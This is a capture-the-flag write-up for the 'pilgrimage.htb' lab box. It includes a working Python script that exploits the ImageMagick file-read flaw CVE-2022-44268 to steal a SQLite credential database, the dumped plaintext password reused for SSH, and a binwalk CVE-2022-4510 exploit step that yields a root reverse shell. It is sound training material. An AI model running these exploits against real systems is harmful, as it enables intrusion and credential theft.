We see the website http://pilgrimage.htb hosted on the target, which we shall add to our host file /etc/hosts, and the usage of Nginx from HTTP response.
It seems that there's a file read vulnerability we could exploit.
Automation
To automate the process, we write the following Python script to read the file content and store it in file result:
#!/usr/bin/python3
import re, os, sys, shlex
import cmd
import subprocess
from requests import Session
USER = 'tester@example.com'
PASS = 's3cRet'
POC = 'https://github.com/voidz0r/CVE-2022-44268'
WORKDIR = '/tmp/imagick_reader'
try:
os.system("mkdir -p %s" % WORKDIR)
os.chdir(WORKDIR)
except FileNotFoundError as e:
print(e)
sys.exit(-1)
os.system('sh -c "[ -d poc ] || git clone \"%s\" poc"' % POC)
class Reader(cmd.Cmd):
def __init__(self, username, passwd):
super().__init__()
self.s = Session()
self.url = 'http://pilgrimage.htb'
self.proxies = {
'http': 'http://localhost:8080'
}
self.login()
def login(self):
data = {
'username': USER,
'password': PASS
}
res = self.s.post(self.url+'/login.php', data=data, proxies=self.proxies)
if not 'Shrunken Image URL' in res.text:
self.register()
def register(self):
data = {
'username': USER,
'password': PASS
}
res = self.s.post(self.url+'/register.php', data=data, proxies=self.proxies)
if not 'Shrunken Image URL' in res.text:
print('register fail')
def readFile(self, path):
subprocess.check_call(shlex.split('cargo run --manifest-path poc/Cargo.toml "%s"' % path))
with open('image.png', 'rb') as f:
files = {
'toConvert':('dog.png', f, 'image/jpeg')
}
res = self.s.post(self.url+'/', files=files, proxies=self.proxies)
imgUrl = re.match(r'.*message=(?P<url>.*)&.*$', res.url).group('url')
subprocess.check_call(shlex.split("wget \"%s\" -O res.png" % imgUrl))
content = subprocess.Popen(shlex.split('sh -c "identify -verbose res.png | grep \"^[0-9]\" | xxd -r -p"'), stdout=subprocess.PIPE).communicate()[0]
print(content)
with open('result', 'wb') as f:
f.write(content)
def do_EOF(self, _):
return True
def emptyline(self):
pass
def default(self, cmd):
self.readFile(cmd)
r = Reader(USER, PASS)
r.cmdloop()
We can read the file on the target now.
SQLite File
We've seen that the site stores user's credentials in the SQLite file /var/db/pilgrimage from the source code file login.php.
We thus get the SQLite file content via the Python script.
(Cmd) /var/db/pilgrimage
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `poc/target/debug/cve-2022-44268 /var/db/pilgrimage`
--2023-06-25 17:08:11-- http://pilgrimage.htb/shrunk/64986667291ed.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.129.250.151
Connecting to pilgrimage.htb (pilgrimage.htb)|10.129.250.151|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1192 (1.2K) [image/png]
Saving to: ‘res.png’
res.png 100%[========================>] 1.16K --.-KB/s in 0s
2023-06-25 17:08:11 (214 MB/s) - ‘res.png’ saved [1192/1192]
b'SQLite format 3\x00\x10\x00\x01\x01\x00@ \x00\x00\x00\x9a\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00
Using sqlite3, we can dump the table users and get user Emily's password abigchonkyboi123:
$ sqlite3 result
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> select * from users;
emily|abigchonkyboi123
tester@example.com|s3cRet
We can later use the credentials found to login to the target via SSH.
Privilege Escalation
Malware Scanning
With systemctl, we found a service named malwarescan is running.
We inspected the script malwarescan.sh and found the usage of inotifywait and binwalk.
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
The binwalk is of version v2.3.2:
CVE-2022-4510
We found the binwalk of version v2.3.2 has a RCE vulnerability CVE-2022-4510 with a public exploit.
We use the exploit to generate a malicious png file and upload the image to the path /var/www/pilgrimage.htb/shrunk/.
$ ./poc.py <file> <ip> <port>
The script malwarescan.sh will extract the malicious png file with binwalk and extract the embedded malicious Python code to the binwalk plugins directory; hence we shall get our reverse shell running with root.
Miscellaneous
CVE-2022-4510
From the pull request, we can see the exploit is achieved by abusing the Python function os.path.join to extract malicious binwalk module to the directory .config/binwalk/plugins which can then be executed and thus lead to RCE.
An attacker could craft a malicious PFS file that would cause binwalk to write outside the extraction directory. I attached a proof-of-concept (poc.zip) that, when extracted from the user's home directory, would extract a malicious binwalk module in .config/binwalk/plugins. This malicious plugin would then be loaded and executed by binwalk, leading to RCE.
